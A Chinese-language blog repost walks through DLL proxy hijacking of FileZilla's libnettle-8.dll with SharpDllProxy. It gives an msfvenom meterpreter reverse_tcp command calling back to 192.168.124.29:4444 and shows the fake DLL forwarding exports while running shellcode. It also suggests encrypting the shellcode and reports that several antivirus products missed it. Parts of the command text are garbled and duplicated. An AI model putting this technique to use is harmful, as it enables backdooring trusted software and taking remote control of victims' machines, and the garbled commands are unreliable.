首頁 > 運維 > 安全 > 主體

如何進行DLL代理轉發與weiquan分析

WBOY
發布: 2023-05-26 18:10:33
轉載
1663 人瀏覽過

DLL劫持

再Windows 7 版本之後,系統採用了KnowDLLs對DLL進行管理,其位於註冊表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs下,在這個下面的DLL檔會被禁止從exe自身所在的目錄下調用,而只能從系統目錄(System32)目錄下調用。造成DLL劫持的原因是因為並非所有的DLL都會被寫入註冊表中。

使用msfvenom產生的dll直接秒殺。 如何進行DLL代理轉發與weiquan分析

SharpDllProxy

聽名字大概類似socks代理程式一樣。工具來源自:https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/。具體實作還可以參考這篇大佬的部落格.

前言

先理解下動態連結函式庫的運作原理。如果應用程式A要使用動態連結函式庫DataFunctions.dll裡面的GetFunkyData()函數,就需要載入DataFunctions.dll動態連結函式庫。這個工具就是出於這一點考慮,創建一個名字一模一樣的DataFunction.dll動態連結庫,他的功能有兩個:①做個快捷鍵,將所有的功能轉發到千真萬確的動態鏈接庫DataFunctions.dll ,這就是名字中proxy的由來;②在這個假冒的DataFunctions.dll裡面寫入shellcode。附上作者原圖:如何進行DLL代理轉發與weiquan分析

實驗過程

目標程式

花了一些時間搞這實驗,例如FileZilla軟體,怎麼去找這個需要載入的dll呢?如作者說的,把該軟體拷貝出去就知道他缺什麼了。如下:如何進行DLL代理轉發與weiquan分析

如何進行DLL代理轉發與weiquan分析

那就表示執行改應用程式需要載入該DLL文件,那就針對這個DLL做一個假的libnettle-8.dll。

產生shellcode

<br>
登入後複製
登入後複製
<br>
登入後複製
登入後複製

msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw > shell.#bin

#44444 -f raw > shell.#bin

##44444 -f raw > shell.#實驗開始

先下載SharpDllProxy:https://github.com/Flangvik/SharpDllProxy,然後使用visual studio 2019對其進行編譯,盡量不要使用其他版本,因為我用了下visual studio 2017各種報錯搞了半天沒搞出來,也可能環境有問題。 如何進行DLL代理轉發與weiquan分析如何進行DLL代理轉發與weiquan分析直接使用 vs 開啟 檔案下的SharpDllProxy --》 產生解決方案

如何進行DLL代理轉發與weiquan分析

利用SharpDllProxy.dll建立一個偽造的libnettle-8.dll檔案。將shell.bin和需要被假冒的Dll放到上圖的檔案中。執行以下指令:.\SharpDllProxy.exe --dll libnettle-8.dll --payload shell.bin

如何進行DLL代理轉發與weiquan分析

產生的檔案包含了一個C檔案和一個dll,這個dll檔案就是原來的libnettle-8.dll 檔案。

如何進行DLL代理轉發與weiquan分析

來分析下這個C語言程序,從第9行到494行都是轉送DLL的函數,將所有需要執行函數轉送原來的DLL,讓其處理。

如何進行DLL代理轉發與weiquan分析

到了497行就是我們插入的shellcode的地方。重點程式碼也只有這麼一點,其實還可以直接把shell.bin這個shellcode寫入該文件,就減少了文件可疑文件數量。在這裡,我們透過VirtualAlloc記憶體操作將shellcode以二進位方式讀入並執行。到這裡就可以自己一頓操作猛如虎,各種免殺姿勢用上來,例如換個加載方式,如對shellcode先加密然後解密運行。

如何進行DLL代理轉發與weiquan分析如何進行DLL代理轉發與weiquan分析使用 VS 編譯上面的C檔。在檔案選單下選擇新建,然後選擇動態連結庫項目,將項目命名為 libnettle-8。複製上面的C檔碼到VS中編譯

######

將上面的三個檔案(tmpD475.dll、libnettle-8.dll、shell.bin),送到目標系統中。使用msf監聽,然後執行程序,就已經回傳會話了。 如何進行DLL代理轉發與weiquan分析如何進行DLL代理轉發與weiquan分析

使用最常用的防毒軟體:360、火絨和安全管家都沒有被發現。 如何進行DLL代理轉發與weiquan分析

以上是如何進行DLL代理轉發與weiquan分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

相關標籤:
來源:yisu.com
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板
關於我們 免責聲明 Sitemap
PHP中文網:公益線上PHP培訓,幫助PHP學習者快速成長!